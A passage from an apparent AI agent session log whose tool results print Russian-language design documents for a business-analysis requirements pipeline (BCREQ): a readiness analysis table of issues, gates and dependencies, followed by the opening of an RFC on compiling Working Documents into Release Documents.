\u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); `P-08` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0422\u0417, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c BCREQ \u043f\u043e [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md). |\\n| #602: \u041f\u043e\u0440\u043e\u0433 80% | \u0414\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c. \u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0431\u0430\u0437\u044b \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0438. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0438\u0436\u0435. |\\n| #602 \u0438 #604: `G-human` \u0438 `n0` | \u0410\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 mapping \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, evidence, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430\u043c\u0438, \u0440\u0438\u0441\u043a\u043e\u043c \u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439; BA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442/\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 mapping \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439, \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. `n0` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u043d\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c \u0434\u043b\u044f BCREQ. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u0442\u0435\u043a\u0443\u0449\u0438\u0439 [route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u043f\u043e\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043b\u0438\u0448\u044c MANGO-\u0446\u0435\u043f\u043e\u0447\u043a\u0443. |\\n| #602: Content profiles | \u041f\u0440\u043e\u0444\u0438\u043b\u0438 API, \u041b\u041a, \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430, \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 AI/\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442\u0441\u044f. \u0420\u043e\u0431\u043e\u0442\u044b \u0438 \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0434\u0438\u043d AI-\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 bindings. \u0412\u0438\u0434\u0435\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u043d\u0430\u043b\u0438\u0447\u0438\u044f capability. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b [\u0441\u043d\u0438\u043c\u043a\u043e\u043c MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml). |\\n| #606: Pre-decomposition \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430 | Evidence, goal/task/boundary, as-is\u2192delta, product binding \u0438 claim register \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0432 Working \u0434\u043e FR/UC/NFR. `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, `G-semantic` \u2014 \u0441\u043c\u044b\u0441\u043b \u0441 rationale, `G-human` \u2014 \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0443. | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0438 \u043e\u0431\u0430 RFC; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime contract \u0435\u0449\u0451 \u043d\u0435 \u0441\u043e\u0431\u0440\u0430\u043d. |\\n| #606: TM Forum + SID | \u0422\u043e\u0447\u043d\u044b\u0435 ID TM Forum \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `unresolved` \u0431\u0435\u0437 snapshot; SID \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u0434\u043b\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0430 capability/eTOM ID. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0447\u0451\u043b \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439; 23 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0430\u0442\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 evidence. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a710](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md). \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e \u0440\u043e\u043b\u0438 SID \u2014 [TM Forum Information Framework](https://www.tmforum.org/open-digital-architecture/information-framework-sid/). |\\n| #608: \u043f\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 | Working \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 baseline; Release \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f; 2.3 \u00ab\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u00bb; NFR\u2192FR \u0438 compatibility closure; pre/post gates; \u0440\u0430\u0437\u0434\u0435\u043b 4 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0437\u0430\u0439\u043d \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u00bb. | [RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md), \u0441\u0442\u0430\u0442\u0443\u0441 `accepted`. |\\n\\n## \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n\\n| \u041a\u043e\u043d\u0442\u0443\u0440 | \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| Scope \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 | [README \u043f\u0440\u043e\u0435\u043a\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md) \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 `mango-only` \u043a\u0430\u043a \u0432\u0435\u0441\u044c \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c; [MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml) \u0438 [telecom](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 42 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0445\u0440\u0430\u043d\u0438\u0442 prose, \u043d\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 TM Forum IDs. | \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c provenance \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438; \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 ID \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e snapshot. |\\n| Process \u2192 route | [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md) \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `P-08` \u0434\u043b\u044f \u043e\u0446\u0435\u043d\u043a\u0438 \u0447\u0443\u0436\u043e\u0433\u043e \u0422\u0417. [Route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u043c\u0435\u0435\u0442 `n0` \u0438 MANGO binding, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 BCREQ-\u0441\u0440\u0435\u0437. | \u0412 Source \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b; \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c P-08 \u043a\u0430\u043a \u0443\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c. |\\n| Evidence \u2192 FR/UC/NFR | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b; [Golden forms](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) \u0437\u0430\u0434\u0430\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u044b. \u0422\u0435\u043a\u0443\u0449\u0430\u044f [C-OUT schema](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/contracts/c-out-bcreq.schema.json) \u0435\u0449\u0451 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 coverage contract. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 Working schema \u0438 negative fixtures, \u0437\u0430\u0442\u0435\u043c `G-mach`, semantic regressions \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 skills. |\\n| Working \u2192 Release | \u0414\u0432\u0430 RFC \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u044f\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u0438 \u0442\u0438\u043f\u044b \u2014 RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438; \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, 2.3, 4 \u0438 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 7 \u2014 RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430. | Source compiler, baseline digest, reverse trace, `G-release` \u0438 privacy checks; Distribution \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0437 Source \u043f\u043e [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md). |\\n| CLI deployment | \u0422\u0440\u0435\u0442\u0438\u0439 [RFC \u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f `proposed`: \u043e\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0440\u0435\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 BCREQ. | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c Source \u2192 Distribution \u0441 \u044d\u0442\u0438\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 runtime-\u0437\u0430\u0434\u0430\u0447\u0435; \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Source. |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | [\u041f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044e. \u041e\u043d\u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c, \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u043e\u0441\u0438, NFR\u2192FR \u0438\u043b\u0438 Release-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e. | \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435/\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 fixtures \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e gate, \u0432\u043a\u043b\u044e\u0447\u0430\u044f non-CC, external TZ, missing mapping, orphan NFR, unknown compatibility \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 edge case. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 12 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 Markdown-\u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0434\u0438\u043d URL \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `30-production-law.md`. \u041e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b\\n\u0432 \u044d\u0442\u043e\u043c PR. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432 frontmatter, \u043a\u043e\u0434\u0435 \u0438 YAML \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0443\u0442\u044f\u043c\u0438/\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 Markdown-\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438.\\n\\n## \u041d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0435 \u0438 \u043f\u0443\u0442\u044c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:10.620Z] [INFO]       }\n[2026-09-29T07:45:10.620Z] [INFO]     ]\n[2026-09-29T07:45:10.620Z] [INFO]   },\n[2026-09-29T07:45:10.620Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:10.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"uuid\": \"5c4d2ca6-ad23-46ad-ac0f-b21f2970acd4\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:10.351Z\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:10.620Z] [INFO]     \"stdout\": \"=== docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n\\n# RFC: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 Working Document \u2192 Release Document \u0434\u043b\u044f BCREQ\\n\\n## RFC Metadata\\n\\n| \u041f\u043e\u043b\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| Owner | G-Ivan-A |\\n| RFC status | `accepted`; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) |\\n| Source issue | [#607](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/607) |\\n| Implementation link | [PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608) |\\n| Evidence | \u0414\u0435\u0432\u044f\u0442\u044c \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438; \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602), [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604) \u0438 [PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606) |\\n| Impacted artifacts | \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: BCREQ Source schema, skills, gates, compiler, release profiles \u0438 Distribution |\\n| Decision record | \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u043f\u044f\u0442\u044c \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) \u0434\u0438\u0430\u043b\u043e\u0433\u0435; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 [\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md) |\\n| Archetype scope | `C` \u2014 Product Spoke / Runtime |\\n\\n## Summary\\n\\n\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u0432\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. BCREQ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\\n\u043e\u0434\u0438\u043d \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **Working Document** \u2014 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\\n\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438 \u2014 \u0438 \u043e\u0434\u0438\u043d \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e **Release Document**,\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e baseline \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439\\n\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\\n\\n\u0420\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 evidence, User Story, scope, FR/NFR, UC, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f,\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 edge cases. Release \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u0443\u044e 